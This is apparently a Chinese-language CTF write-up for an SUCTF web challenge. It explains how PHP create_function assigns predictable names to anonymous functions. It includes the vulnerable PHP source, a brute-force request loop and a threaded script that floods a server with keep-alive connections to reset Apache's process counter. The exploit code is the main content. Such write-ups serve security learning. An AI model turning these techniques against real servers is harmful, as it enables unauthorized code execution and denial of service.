源码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
其实我们只要执行$MY()
就可以了~~,但是我们不知道这个函数的名名称,是一个匿名函数~~
create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
%d
这个值是一直递增的,这里的%d
会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork
模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。
简单粗暴的exp:
import requests
while True:
r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
print(r.text)
官方的exp
# coding: UTF-8
# Author: orange@chroot.org
# using python2
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn'
PORT = 80
se = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
se.connect((HOST, PORT))
se.send("GET / HTTP/1.1\r\n")
se.send("Host: 28ae7c60-92ae-447c-a9c9-b50024d45b25.node3.buuoj.cn\r\n")
se.send("Connection: keep-alive\r\n\r\n")
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)